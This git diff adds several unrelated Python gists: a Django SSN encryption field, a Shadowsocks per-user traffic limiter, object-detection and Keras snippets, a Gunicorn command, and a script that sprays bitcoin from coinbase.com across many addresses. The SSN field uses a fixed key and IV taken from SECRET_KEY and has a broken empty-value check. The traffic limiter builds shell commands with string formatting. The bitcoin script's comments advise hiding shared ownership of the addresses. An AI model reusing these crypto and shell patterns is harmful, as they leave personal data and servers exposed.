+                    try:
+                        import ssl
+                        handlers.append(urllib2.HTTPSHandler())
+                    except:
+                        #Python isn't compiled with SSL support
+                        pass
+                    map(opener.add_handler, handlers)
+                    if platform.python_version_tuple() >= (2, 6):
+                        opener.open(req, timeout=10)
+                    else:
+                        opener.open(req)
+                except ValueError:
+                    raise ValidationError(_(u'Enter a valid URL.'), code='invalid')
+                except: # urllib2.URLError, httplib.InvalidURL, etc.
+                    raise broken_error
+
+            else:
+                # Resolve the relative URL
+                try:
+                    resolve(url)
+                except Http404:
+                    raise broken_error
diff --git a/hard-gists/999228/._snippet.py b/hard-gists/999228/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/999228/._snippet.py differ
diff --git a/hard-gists/999228/snippet.py b/hard-gists/999228/snippet.py
new file mode 100644
index 00000000..b271e710
--- /dev/null
+++ b/hard-gists/999228/snippet.py
@@ -0,0 +1,46 @@
+from Crypto.Cipher import AES
+import binascii
+import re
+
+ssn_re = re.compile(r"^\d{3}[-\ ]?\d{2}[-\ ]?\d{4}$")
+class EncryptedSSNField(models.CharField):
+    
+    description = _('Adds transparent encryption/decryption (AES256 using pyCrypto) for US Social Security Numbers in the database.')
+    
+    __metaclass__ = models.SubfieldBase
+    
+    def __init__(self, *args, **kwargs):
+        kwargs['max_length'] = 64
+        super(EncryptedSSNField, self).__init__(*args, **kwargs)
+    
+    def to_python(self, value):
+        if value is u'' or '' or None:
+            return unicode(value)
+        else:
+            encobj1 = AES.new(settings.SECRET_KEY[:32], AES.MODE_CBC, settings.SECRET_KEY[34:50])
+            encobj2 = AES.new(settings.SECRET_KEY[:32], AES.MODE_CBC, settings.SECRET_KEY[34:50])
+            dec1 = encobj1.decrypt(binascii.a2b_hex(value))
+            dec2 = encobj2.decrypt(binascii.a2b_hex(dec1))
+            return unicode(dec2.rstrip())
+    
+    def get_prep_value(self, value):
+        encobj1 = AES.new(settings.SECRET_KEY[:32], AES.MODE_CBC, settings.SECRET_KEY[34:50])
+        encobj2 = AES.new(settings.SECRET_KEY[:32], AES.MODE_CBC, settings.SECRET_KEY[34:50])
+        match = re.match(ssn_re, value)
+        block_bytes = 16
+        while len(value) < block_bytes:
+            value += ' ' 
+        if match:
+            enc1 = binascii.b2a_hex(encobj1.encrypt(value))
+            enc2 = binascii.b2a_hex(encobj2.encrypt(enc1))
+            return unicode(enc2)
+        else:
+            raise ValueError(_('Please enter a valid U.S. Social Security Number.'))
+    
+    def get_prep_lookup(self, lookup_type, value):
+        if lookup_type == 'exact':
+            return self.get_prep_value(value)
+        elif lookup_type == 'isnull':
+            return value
+        else:
+            raise TypeError('Lookup type %r not supported.' % lookup_type)
\ No newline at end of file
diff --git a/hard-gists/99b7fb8ff89104d30eab/._snippet.py b/hard-gists/99b7fb8ff89104d30eab/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/99b7fb8ff89104d30eab/._snippet.py differ
diff --git a/hard-gists/99b7fb8ff89104d30eab/snippet.py b/hard-gists/99b7fb8ff89104d30eab/snippet.py
new file mode 100644
index 00000000..c6b6bda7
--- /dev/null
+++ b/hard-gists/99b7fb8ff89104d30eab/snippet.py
@@ -0,0 +1,288 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+# utf-8 中文编码
+import glob
+import os,sys
+import json
+reload(sys)
+sys.setdefaultencoding('utf-8')
+import time, sys,iptc  # iptc 包通过 sudo pip install python-iptables 安装
+from datetime import datetime
+import csv
+
+
+
+u"""
+统计账号流量，限制每月流量。
+
+会在 MY_LOG_DIR (/usr/local/ss-libev/flow_log/)  储存统计的流量信息，是 csv 格式 。
+"""
+
+
+PREFIX="/usr/local/ss-libev"
+
+# ss-libev 配置目录
+CONF_DIR='/usr/local/conf/'
+
+
+# 配置目录
+MY_CONF_DIR = PREFIX + '/flow/'
+MY_LOG_DIR = PREFIX + '/flow_log/'
+LAST_FLOW_FILE = MY_CONF_DIR + 'last_flow.json'
+
+
+# 不受限制账号列表
+NO_LIMIT = ['test.json','user2.json']
+# 流量  1*1024*1024*1024 =1G
+LIMIT_FLOW =  120 * 1024 * 1024 *1024
+LIMIT_FLOW_TENMINUTES = 120 * 1024 * 1024 *1024
+# 时区：上海
+os.environ["TZ"] = "Asia/Shanghai"
+ 
+file_type={
+               'month_flow':"%Y-%m",
+               'day_flow':"%Y-%m-%d",
+               'hour_flow':"%Y-%m-%d-%H",
+               'tenminutes_flow':"%Y-%m-%d-%H-%M",
+               }
+
+
+if not os.path.exists(MY_CONF_DIR):
+    os.makedirs(MY_CONF_DIR)
+if not os.path.exists(MY_LOG_DIR):
+    os.makedirs(MY_LOG_DIR)
+
+
+
+def get_account_dict():
+    u"""获得账号列表"""
+
+    files = glob.glob(os.path.join(CONF_DIR,'*.json'))
+
+    ss_account_dict ={}
+
+    for file_path in files:
+        with open(file_path,'rb') as file:
+            ss_config = json.load(file,encoding='utf8')
+            ss_account_dict[os.path.basename(file_path)]=ss_config
+    return ss_account_dict
+
+
+
+def get_original_flow():
+    u"""获得原始流量"""
+    res={
+            'flow_in':{},  # {u8001:3916788L}
+            'flow_out':{},
+            'status':'ok'
+        }
+    table = iptc.Table(iptc.Table.FILTER)
+
+    chain_in = iptc.Chain(table, 'INPUT')
+    chain_out = iptc.Chain(table, 'OUTPUT')
+
+    table.refresh()
+
+    for rule in chain_out.rules:
+        try:
+            if len(rule.matches)==1:
+                sport = int(rule.matches[0].sport)
+                res['flow_out'][sport] = rule.get_counters()[1]
+        except Exception,inst:
+            print (u'[警告]未知的 iptables 规则，如果是其他软件添加的可以忽略。')
+            print(inst)
+    for rule in chain_in.rules:
+        try:
+            if len(rule.matches)==1:
+                dport = int(rule.matches[0].dport)
+                res['flow_in'][dport] = rule.get_counters()[1]
+        except Exception,inst:
+            print (u'[警告]未知的 iptables 规则，如果是其他软件添加的可以忽略。')
+            print(inst)
+    return res
+
+def get_last_flow():
+    u'''获得上次的流量信息
+    
+    几十个用户很简单的json文件就搞定了。
+{
+    'last_time':最近的时间
+    'account_dict':{
+        用户标识:
+                {
+                    'port':
+                    'in':
+                    'out':
+                }
+    }
+}
+
+    '''
+    if os.path.exists(LAST_FLOW_FILE):
+        with open(LAST_FLOW_FILE,'rb') as file:
+            return json.load(file,encoding='utf8')
+    else:
+        return { 'account_dict':{}}
+
+def set_last_flow(data):
+    u'''保存上次的流量信息
+    
+    '''
+    with open(LAST_FLOW_FILE,'wb') as file:
+         return json.dump(data,file,encoding='utf8')
+
+
+
+    
+def add_iptables(port):
+    u""" 增加 iptables 规则"""
+    os.system("iptables -I INPUT  -p tcp --dport %s" %port)
+    os.system("iptables -I OUTPUT -p tcp --sport %s"%port)
+
+def get_old_flow(_type,_time):
+    u''' 获得保存的流量报表
+
+    为了查看方便，使用 csv 格式保存，直接用 office 即可查看。
+    
+格式是
+名称,本时段所有流量,本时段入站流量,本时段出站流量
+
+    '''   
+               
+    res ={}
+    t = _time.strftime(file_type[_type])
+    if _type == 'tenminutes_flow':
+        t = t[:-1]+'0'    
+    filename = os.path.join(MY_LOG_DIR,t+'.csv')
+    if os.path.exists(filename):
+        with open(filename,'rb') as file:
+            reader = csv.reader(file)
+            for username, flow_all, flow_in, flow_out in reader:
+                res[username] = [int(flow_all), int(flow_in), int(flow_out)]
+    return res
+    
+def set_old_flow(flow_dict,_type,_time):
+    t = _time.strftime(file_type[_type])
+    if _type == 'tenminutes_flow':
+        t = t[:-1]+'0'    
+    filename = os.path.join(MY_LOG_DIR,t+'.csv')
+    with open(filename,'wb') as file:
+            writer = csv.writer(file)
+            for username,flow in flow_dict.iteritems():
+                writer.writerow((username,flow[0],flow[1],flow[2]))
+    return True
+
+    
+    
+def run():
+    u""" 获得流量信息
+    
+每隔一段时间执行一次
+    """
+    now = datetime.now()
+    account_dict = get_account_dict()
+    original_flow_dict = get_original_flow()
+    
+    last_flow_dict = get_last_flow()
+    month_flow_dict = get_old_flow('month_flow',now)
+    day_flow_dict = get_old_flow('day_flow',now)
+    hour_flow_dict = get_old_flow('hour_flow',now)
+    tenminutes_flow_dict = get_old_flow('tenminutes_flow',now)
+    
+    for account_name , account in  account_dict.iteritems():
+        print u'开始处理账号 %s 端口 %s' %(account_name,account['server_port'])
+    
+        # 本次统计新增流量
+        in_flow = 0
+        out_flow =0
+        
+        original_flow_in = original_flow_dict['flow_in'].get(account['server_port'],None)
+        original_flow_out = original_flow_dict['flow_out'].get(account['server_port'],None)
+        if original_flow_in == None or original_flow_out == None:
+            print u'用户 %s 端口 %s 未配置 iptables 统计流量信息，开始配置 iptables 。' % (account_name,account['server_port'])
+            add_iptables(account['server_port'])
+            #TODO: 无流量信息处理。
+            original_flow_in = 0
+            original_flow_out = 0
+        
+        flow  = last_flow_dict['account_dict'].get(account_name,{'in':0,'out':0,'port':None})
+        if original_flow_in >= flow['in'] and original_flow_out>=flow['out'] and (flow['port'] == None or flow['port'] == account['server_port'] ):
+            # 仔细点，防止把删掉账号的流量算到新账号上面。
+            in_flow = original_flow_in - flow['in']
+            out_flow = original_flow_out - flow['out']            
+        else:
+            print u'[错误][流量统计] 账号 %s 端口 %s 统计流量错误，可能最近重启服务器过造成 iptables 流量记录重置了，已经纠正了错误。' % (account_name,account['server_port'])
+        
+        print u'用户 %s 端口 %s 上次统计，入站流量:%s 出站流量:%s 本次统计入站流量:%s 出站流量:%s 本次新增入站流量:%s 出站流量:%s ' %(account_name,account['server_port'],flow['in'],flow['out'],original_flow_in,original_flow_out,in_flow,out_flow)
+
+        # 设置新的原始流量
+        flow['in'] = original_flow_in
+        flow['out'] = original_flow_out
+        flow['port'] = account['server_port']
+        last_flow_dict['account_dict'][account_name] = flow 
+        
+        month_flow = month_flow_dict.get(account_name,[0,0,0])         
+        month_flow[1] += in_flow 
+        month_flow[2] += out_flow 
+        month_flow[0] = month_flow[1] +month_flow[2]
+        month_flow_dict[account_name] = month_flow
+        
+        
+        if month_flow[0] > LIMIT_FLOW:
+            # 1024*1024*1024 = 1G
+            # TODO : 停用账号
+            if account_name in NO_LIMIT:
+#                print u'账号 %s 端口 %s 当月已用流量 %s ，超出限制，但是属于无限制账号，不处理。'%(account_name,account['server_port'],month_flow[0])
+                pass
+            else:
+                print u'账号 %s 端口 %s 当月已用流量 %s ，超出限制，停用账号。' %(account_name,account['server_port'],month_flow[0])
+                os.system('service ss-libev stop %s'%account_name)
+        
+        
+        day_flow = day_flow_dict.get(account_name,[0,0,0])         
+        day_flow[1] += in_flow 
+        day_flow[2] += out_flow 
+        day_flow[0] = day_flow[1] +day_flow[2]
+        day_flow_dict[account_name] = day_flow
+        
+        
+        
+        hour_flow = hour_flow_dict.get(account_name,[0,0,0])         
+        hour_flow[1] += in_flow 
+        hour_flow[2] += out_flow 
+        hour_flow[0] = hour_flow[1] +hour_flow[2]
+        hour_flow_dict[account_name] = hour_flow
+        
+        
+        
+        tenminutes_flow = tenminutes_flow_dict.get(account_name,[0,0,0])         
+        tenminutes_flow[1] += in_flow 
+        tenminutes_flow[2] += out_flow 
+        tenminutes_flow[0] = tenminutes_flow[1] +tenminutes_flow[2]
+        tenminutes_flow_dict[account_name] = tenminutes_flow
+
+        if tenminutes_flow[0] > LIMIT_FLOW_TENMINUTES:
+            # 1024*1024*1024 = 1G
+            # TODO : 停用账号
+            if account_name in NO_LIMIT:
+#                print u'账号 %s 端口 %s 最近十分钟已用流量 %s ，超出限制，但是属于无限制账号，不处理。'%(account_name,account['server_port'],tenminutes_flow[0])
+                pass
+            else:
+                print u'账号 %s 端口 %s 最近十分钟已用流量 %s ，超出限制，停用账号。' %(account_name,account['server_port'],tenminutes_flow[0])
+                os.system('service ss-libev stop %s'%account_name)
+
+        print u'用户 %s 端口 %s ，本月流量:%s 本天流量:%s 本小时流量:%s 十分钟流量:%s' % (account_name,account['server_port'],month_flow[0],day_flow[0],hour_flow[0],tenminutes_flow[0])
+        
+        
+        
+    set_last_flow(last_flow_dict)
+    set_old_flow(month_flow_dict,'month_flow',now)
+    set_old_flow(day_flow_dict,'day_flow',now)
+    set_old_flow(hour_flow_dict,'hour_flow',now)
+    set_old_flow(tenminutes_flow_dict,'tenminutes_flow',now)
+        
+        
+    print u'流量统计完毕，统计信息已保存到 %s 目录' % MY_LOG_DIR
+        
+
+run()
diff --git a/hard-gists/99e1ad329383de04be4834a8c3e28c0d/._snippet.py b/hard-gists/99e1ad329383de04be4834a8c3e28c0d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/99e1ad329383de04be4834a8c3e28c0d/._snippet.py differ
diff --git a/hard-gists/99e1ad329383de04be4834a8c3e28c0d/snippet.py b/hard-gists/99e1ad329383de04be4834a8c3e28c0d/snippet.py
new file mode 100644
index 00000000..e9f2ab0b
--- /dev/null
+++ b/hard-gists/99e1ad329383de04be4834a8c3e28c0d/snippet.py
@@ -0,0 +1,102 @@
+import sys
+import os
+import cv2
+import numpy as np
+import tensorflow as tf
+
+sys.path.append("..")
+
+from object_detection.utils import label_map_util
+
+MODEL_NAME = 'ssd_mobilenet_v1_coco_11_06_2017'
+MODEL_FILE = MODEL_NAME + '.tar.gz'
+DOWNLOAD_BASE = 'http://download.tensorflow.org/models/object_detection/'
+PATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb'
+PATH_TO_LABELS = os.path.join('data', 'mscoco_label_map.pbtxt')
+NUM_CLASSES = 90
+
+label_map = label_map_util.load_labelmap(PATH_TO_LABELS)
+categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES,
+                                                            use_display_name=True)
+category_index = label_map_util.create_category_index(categories)
+
+def detect_alert(boxes, classes, scores, category_index, max_boxes_to_draw=20,
+                 min_score_thresh=.5,
+                 ):
+    r = []
+    for i in range(min(max_boxes_to_draw, boxes.shape[0])):
+        if scores is None or scores[i] > min_score_thresh:
+            test1 = None
+            test2 = None
+
+            if category_index[classes[i]]['name']:
+                test1 = category_index[classes[i]]['name']
+                test2 = int(100 * scores[i])
+
+            line = {}
+            line[test1] = test2
+            r.append(line)
+
+    return r
+
+def detect_objects(image_np, sess, detection_graph):
+    image_np_expanded = np.expand_dims(image_np, axis=0)
+    image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')
+    boxes = detection_graph.get_tensor_by_name('detection_boxes:0')
+    scores = detection_graph.get_tensor_by_name('detection_scores:0')
+    classes = detection_graph.get_tensor_by_name('detection_classes:0')
+    num_detections = detection_graph.get_tensor_by_name('num_detections:0')
+
+    # Actual detection.
+    (boxes, scores, classes, num_detections) = sess.run(
+        [boxes, scores, classes, num_detections],
+        feed_dict={image_tensor: image_np_expanded})
+
+    alert_array = detect_alert(np.squeeze(boxes), np.squeeze(classes).astype(np.int32), np.squeeze(scores),
+                               category_index)
+    return alert_array
+
+IMAGE_SIZE = (12, 8)
+
+def load_image_into_numpy_array(image):
+    (im_width, im_height) = image.size
+    return np.array(image.getdata()).reshape(
+        (im_height, im_width, 3)).astype(np.uint8)
+
+detection_graph = tf.Graph()
+with detection_graph.as_default():
+    od_graph_def = tf.GraphDef()
+    with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:
+        serialized_graph = fid.read()
+        od_graph_def.ParseFromString(serialized_graph)
+        tf.import_graph_def(od_graph_def, name='')
+
+def process_image(image):
+    with detection_graph.as_default():
+        with tf.Session(graph=detection_graph) as sess:
+            alert_array = detect_objects(image, sess, detection_graph)
+
+            alert = False
+
+            for q in alert_array:
+                print (q)
+                if 'donut' in q:
+                    if q['donut'] > 87: #manual rule example
+                        alert = True
+
+            return alert
+
+video = cv2.VideoCapture('demo_8_1.mp4') #change the path of the video
+success, image = video.read()
+count = 0
+success = True
+while success:
+    success, image = video.read()
+    print 'Read a new frame: ', success
+    if success:
+        img = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
+
+        alert = process_image(img)
+        if alert:
+            break
+    count += 1
\ No newline at end of file
diff --git a/hard-gists/99f7f921b512496a9563691e15d846b2/._snippet.py b/hard-gists/99f7f921b512496a9563691e15d846b2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/99f7f921b512496a9563691e15d846b2/._snippet.py differ
diff --git a/hard-gists/99f7f921b512496a9563691e15d846b2/snippet.py b/hard-gists/99f7f921b512496a9563691e15d846b2/snippet.py
new file mode 100644
index 00000000..1b44f13d
--- /dev/null
+++ b/hard-gists/99f7f921b512496a9563691e15d846b2/snippet.py
@@ -0,0 +1,49 @@
+#install keras from https://github.com/kundajelab/keras/tree/keras_1
+from __future__ import print_function
+import keras
+import numpy as np
+np.random.seed(1)
+
+#build a model
+model = keras.models.Sequential()
+model.add(keras.layers.convolutional.Convolution1D(input_shape=(1000,4),
+                                                   nb_filter=300,
+                                                   filter_length=19))
+model.add(keras.layers.normalization.BatchNormalization())
+model.add(keras.layers.core.Activation("relu"))
+model.add(keras.layers.pooling.MaxPooling1D(pool_length=3, stride=3))
+
+model.add(keras.layers.convolutional.Convolution1D(nb_filter=200,
+                                                   filter_length=11))
+model.add(keras.layers.normalization.BatchNormalization())
+model.add(keras.layers.core.Activation("relu"))
+model.add(keras.layers.pooling.MaxPooling1D(pool_length=4, stride=4))
+
+model.add(keras.layers.convolutional.Convolution1D(nb_filter=200,
+                                                   filter_length=7))
+model.add(keras.layers.normalization.BatchNormalization())
+model.add(keras.layers.core.Activation("relu"))
+model.add(keras.layers.pooling.MaxPooling1D(pool_length=4, stride=4))
+
+
+model.add(keras.layers.convolutional.SeparableFC(symmetric=True,
+                                                 smoothness_second_diff=True,
+                                                 output_dim=1000,
+                                                 smoothness_penalty=10.0,
+                                                 smoothness_l1=True))
+
+model.add(keras.layers.core.Dense(output_dim=1000))
+model.add(keras.layers.core.Activation("relu"))
+model.add(keras.layers.core.Dropout(0.3))
+
+model.add(keras.layers.core.Dense(output_dim=1000))
+model.add(keras.layers.core.Activation("relu"))
+model.add(keras.layers.core.Dropout(0.3))
+
+model.add(keras.layers.core.Dense(output_dim=10))
+model.add(keras.layers.core.Activation("sigmoid"))
+model.compile(optimizer="Adam", loss="binary_crossentropy")
+
+#randomly generate some inputs and get predictions
+rand_inp = np.random.random((10, 1000, 4))
+predict = model.predict(rand_inp)
\ No newline at end of file
diff --git a/hard-gists/9a632bbb0acb445f4f3a/._snippet.py b/hard-gists/9a632bbb0acb445f4f3a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9a632bbb0acb445f4f3a/._snippet.py differ
diff --git a/hard-gists/9a632bbb0acb445f4f3a/snippet.py b/hard-gists/9a632bbb0acb445f4f3a/snippet.py
new file mode 100644
index 00000000..f474e137
--- /dev/null
+++ b/hard-gists/9a632bbb0acb445f4f3a/snippet.py
@@ -0,0 +1,25 @@
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+
+from flask.ext.script import Command, Option
+
+
+class GunicornServer(Command):
+    """Run the app within Gunicorn"""
+
+    def get_options(self):
+        from gunicorn.config import make_settings
+
+        settings = make_settings()
+        options = (
+            Option(*klass.cli, action=klass.action)
+            for setting, klass in settings.iteritems() if klass.cli
+        )
+        return options
+
+    def run(self, *args, **kwargs):
+        run_args = sys.argv[2:]
+        run_args.append('manage:app')
+        os.execvp('gunicorn', [''] + run_args)
\ No newline at end of file
diff --git a/hard-gists/9ad6a265aac887fa26c1/._snippet.py b/hard-gists/9ad6a265aac887fa26c1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9ad6a265aac887fa26c1/._snippet.py differ
diff --git a/hard-gists/9ad6a265aac887fa26c1/snippet.py b/hard-gists/9ad6a265aac887fa26c1/snippet.py
new file mode 100644
index 00000000..6d896565
--- /dev/null
+++ b/hard-gists/9ad6a265aac887fa26c1/snippet.py
@@ -0,0 +1,349 @@
+"""
+Bitcoin spray: distribute BTC from a coinbase.com account into many addresses
+generated by a deterministic wallet (an electrum wallet).
+
+1.0 BTC ->
+    0.01 BTC
+    0.01 BTC
+    0.01 BTC
+    etc..
+
+This is particularly useful because coinbase.com is paying all transaction
+fees.
+
+"Coinbase pays fees on transactions of 0.001 BTC or greater."
+https://coinbase.com/api/doc/1.0/transactions/send_money.html
+
+I suggest disabling "send BTC" email notifications on coinbase.com for the
+duration of this script so that the email doesn't get intercepted.
+
+Make API calls to coinbase.com every time a new block is seen on the Bitcoin
+network. These API calls will tell coinbase.com to send bitcoin from
+coinbase.com to particular addresses in the hierarchical wallet.
+
+Components:
+
+[x] hierarchical wallet address generator thing
+[x] resume
+[x] listen/poll for new blocks
+[x] coinbase.com api client (for sending bitcoins)
+
+Limitations:
+
+* doesn't consider reorgs at all
+"""
+
+COINBASE_API_KEY = "YOUR-API-KEY"
+COINBASE_API_SECRET = "YOUR-API-SECRET"
+from coinbase_passwords import *
+
+import websocket
+import json
+import logging
+import thread
+import time
+import datetime
+
+# for coinbase stuff
+import urllib2
+import hashlib
+import hmac
+
+# The index number of the next address to use in the deterministic wallet. So,
+# if the program just crashed for whatever reason, you would look at the last
+# index used to send some BTC, and write that number plus one here.
+address_indexer = 38
+
+# Amount BTC to distribute per address. A better system would use a random
+# number within some range.
+per_address = 0.01
+
+# Number of transactions per block to create. There is no guarantee that each
+# transaction will be included in each block. Some might appear in future
+# blocks, so the transaction count might be anywhere between 0 and the the
+# total number of transactions that have been attempted but not yet included in
+# a block. This number controls the creation of new transactions per block. A
+# better system might monitor for unconfirmed transactions, and only create new
+# transactions once the previous transactions have been confirmed at least
+# once so that the total balance doesn't end up tied up in lousy unconfirmed
+# transactions. A better system would use a random number within some range
+# (including zero in that range).
+transactions_per_block = 4
+# Also, there is a minor incentive to keep the number of transactions per block
+# low. In particular, and especially if you choose a high-entropy number for
+# the value of "per_address", it will be easy for others to guess that the
+# other addresses belong to you because the same account balances are being
+# transferred. Similarly, a large increase in the number of small-value
+# transactions in the blockchain in a given block is another piece of
+# information that can be used to correlate the addresses as probably belonging
+# to the same owner. For these reasons and others, splitting up the
+# transactions into separate blocks helps to obfuscate your presence at least a
+# little.
+
+max_transactions = 1000
+
+# sudo apt-get install electrum
+# https://bitcointalk.org/index.php?topic=612143.0
+import electrum
+
+# load default electrum configuration
+config = electrum.SimpleConfig()
+storage = electrum.wallet.WalletStorage(config)
+wallet = electrum.wallet.Wallet(storage)
+
+logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(message)s')
+log = logging.getLogger(__name__)
+
+def get_total_balance(wallet=wallet):
+    """
+    :return: total balance in satoshis (confirmed)
+    """
+    #return wallet.get_account_balance(0)[0]
+    return wallet.get_balance()[0]
+
+def get_address_balance(address, wallet=wallet):
+    """
+    :param address: some address
+    :return: confirmed address balance in satoshis
+    """
+    return wallet.get_addr_balance(address)[0]
+
+def get_nth_address(number, wallet=wallet):
+    """
+    Generate the nth address. Doesn't generate change addresses.
+
+    :param number: the numberth public address to generate
+    :return: address
+    """
+    return wallet.accounts[0].get_address(0, number)
+
+def get_first_address_with_zero_balance(wallet=wallet, minimum=0, limit=10000):
+    """
+    Find an address that has a balance of zero. Ideally this would find an
+    address that hasn't been used before, because it is possible that it will
+    find an address that has been previously used and emptied back to zero.
+
+    A better system would check the blockchain and find the first unused
+    address, and then rename this function appropriately.
+
+    :param limit: Number of search cycles to employ after exhausting
+    pre-generated list of addresses.
+    :param minimum: first usable address (skip everything before) (useful for
+    resuming)
+    :return: (number, address)
+    """
+    for (number, address) in enumerate(wallet.addresses()):
+        balance = get_address_balance(address, wallet=wallet)
+        if balance == 0 and number >= minimum:
+            return (number, address)
+    else:
+        # Exhausted pre-generated addresses. Search for next address that has
+        # zero balance.
+        counter = number
+
+        while counter <= limit:
+            address = get_nth_address(counter, wallet=wallet)
+            balance = get_address_balance(address, wallet=wallet)
+            if balance == 0 and counter >= minimum:
+                return (counter, address)
+            counter += 1
+
+        # Really I shouldn't use a limit, but I'm skeptical that 10,000
+        # addresses are really in use. Human intervention required..
+        raise Exception("Couldn't find an address with an empty balance.")
+
+def execute_coinbase_http(url, body=None):
+    """
+    https://coinbase.com/docs/api/authentication
+    """
+
+    # just a precaution..
+    if "https" not in url:
+        raise Exception("i don't think so, tim")
+
+    opener = urllib2.build_opener()
+    nonce = int(time.time() * 1e6)
+    message = str(nonce) + url + ('' if body is None else body)
+    signature = hmac.new(COINBASE_API_SECRET, message, hashlib.sha256).hexdigest()
+    opener.addheaders = [('ACCESS_KEY', COINBASE_API_KEY),
+                         ('ACCESS_SIGNATURE', signature),
+                         ('ACCESS_NONCE', nonce)]
+    try:
+        return opener.open(urllib2.Request(url, body, {'Content-Type': 'application/json'}))
+    except urllib2.HTTPError as e:
+        print e
+        return e
+
+def send_btc(amount, address):
+    """
+    Use coinbase.com to send some BTC to an address. The amount is in units of
+    BTC. When the transaction is successfully created, coinbase.com will return
+    some json with the "success" key set to json true.
+    """
+    # Don't debug with httpbin while the headers are enabled in
+    # execute_coinbase_http.
+    #url = "http://httpbin.org/post"
+
+    url = "https://coinbase.com/api/v1/transactions/send_money"
+
+    body = json.dumps({
+        "transaction": {
+            "to": address,
+            "amount": amount,
+        },
+    })
+
+    response = execute_coinbase_http(url, body=body)
+    content = json.loads(response.read())
+    return content
+
+class BlockchainInfoWebSocketAPI(object):
+    """
+    http://blockchain.info/api/api_websocket
+    """
+
+    url = "ws://ws.blockchain.info/inv"
+
+    @staticmethod
+    def on_open(ws):
+        """
+        Spawn a function that pings blockchain.info every 30 seconds so that
+        the websocket connection doesn't get killed from that end.
+        """
+        def run(*args):
+            # subscribe to blocks
+            BlockchainInfoWebSocketAPI.subscribe_to_blocks(ws)
+
+            # ping every 25 seconds to prevent remote server from disconnecting
+            while 1:
+                log.debug("BlockchainInfoWebSocketAPI: doing heartbeat ping to blockchain.info")
+                ws.send("")
+                time.sleep(25)
+
+        # run the "run" method in a new thread
+        thread.start_new_thread(run, ())
+
+    @staticmethod
+    def on_close(ws):
+        log.info("BlockchainInfoWebSocketAPI: closing websocket connection")
+
+    @staticmethod
+    def on_error(ws, error):
+        log.exception("BlockchainInfoWebSocketAPI error: " + error)
+
+    @staticmethod
+    def on_message(ws, message):
+        global transactions_per_block
+        global per_address
+        global address_indexer
+
+        data = json.loads(message)
+
+        if data["op"] == "block":
+            log.info("BlockchainInfoWebSocketAPI: received new block")
+
+            i = 0
+            while i < transactions_per_block:
+                amount = per_address
+                (latest_index, address) = get_first_address_with_zero_balance(minimum=address_indexer)
+
+                log.info("BlockchainInfoWebSocketAPI: sending {amount} BTC to address #{num} - {address}".format(
+                    amount=amount,
+                    num=latest_index,
+                    address=address,
+                ))
+
+                response = send_btc(str(amount), address)
+
+                log.info("BlockchainInfoWebSocketAPI: coinbase.com request successful? " + str(response["success"]))
+
+                log.info(response)
+
+                # Kinda lying, it's really just an indexer, so point it to the
+                # next one please.
+                address_indexer = latest_index + 1
+
+                i += 1
+
+    @staticmethod
+    def subscribe_to_blocks(ws):
+        """
+        Communicates with blockchain.info to subscribe to block notifications.
+        Use blocks_sub for blocks. The ping_block operation is used only for
+        debugging (it immediately pings the last known block).
+        """
+        ws.send('{"op":"blocks_sub"}')
+        # ws.send('{"op":"ping_block"}')
+
+    @staticmethod
+    def _run_forever():
+        log.info("BlockchainInfoWebSocketAPI: begin blockchain.info websocket connection")
+        ws = websocket.WebSocketApp(
+            BlockchainInfoWebSocketAPI.url,
+            on_message=BlockchainInfoWebSocketAPI.on_message,
+            on_error=BlockchainInfoWebSocketAPI.on_error,
+            on_close=BlockchainInfoWebSocketAPI.on_close,
+            on_open=BlockchainInfoWebSocketAPI.on_open,
+        )
+        ws.run_forever()
+        return ws
+
+    @staticmethod
+    def run_forever():
+        delay = 1
+        while 1:
+            # try to use run_forever, wait between with an exponential backoff
+            try:
+                BlockchainInfoWebSocketAPI._run_forever()
+            except websocket.WebSocketException, exc:
+                log.exception(exc)
+                log.warning("BlockchainInfoWebSocketAPI: will attempt to restart connection in {0} seconds...".format(delay))
+                time.sleep(delay)
+                delay *= 2
+            except Exception, exc:
+                raise exc
+
+def quick_time_estimate(per_address, transactions_per_block, max_transactions):
+    """
+    Estimate the total BTC to distribute, how many blocks to use, how many
+    hours this will probably take (assuming 10 minutes per block), and an
+    estimated timestamp for when everything will be done.
+    """
+    total_btc = per_address * max_transactions
+
+    # Number of required blocks is based on the total number of transactions.
+    blocks = float(max_transactions) / float(transactions_per_block)
+
+    # each block takes 10 minutes (uh, on average, or rather, that's the target)
+    minutes = blocks * 10
+
+    # each hour takes 60 minutes
+    hours = minutes / 60
+
+    timefuture = datetime.datetime.now() + datetime.timedelta(minutes=minutes)
+
+    return (total_btc, blocks, hours, timefuture)
+
+def dump_estimates(
+    per_address=per_address,
+    transactions_per_block=transactions_per_block,
+    max_transactions=max_transactions,
+):
+    (total_btc, blocks, hours, timefuture) = quick_time_estimate(per_address, transactions_per_block, max_transactions)
+    output = "total_btc: {total_btc}\n"
+    output += "blocks: {blocks}\n"
+    output += "hours: {hours}\n"
+    output += "approximately done at: {timefuture}"
+
+    output = output.format(
+        total_btc=total_btc,
+        blocks=blocks,
+        hours=hours,
+        timefuture=timefuture,
+    )
+
+    return output
+
+if __name__ == "__main__":
+    print dump_estimates(), "\n"
+    BlockchainInfoWebSocketAPI.run_forever()
\ No newline at end of file
diff --git a/hard-gists/9b1e305543f6fcc9318a/._snippet.py b/hard-gists/9b1e305543f6fcc9318a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9b1e305543f6fcc9318a/._snippet.py differ
diff --git a/hard-gists/9b1e305543f6fcc9318a/snippet.py b/hard-gists/9b1e305543f6fcc9318a/snippet.py
new file mode 100644
index 00000000..3bf9fe0f
--- /dev/null
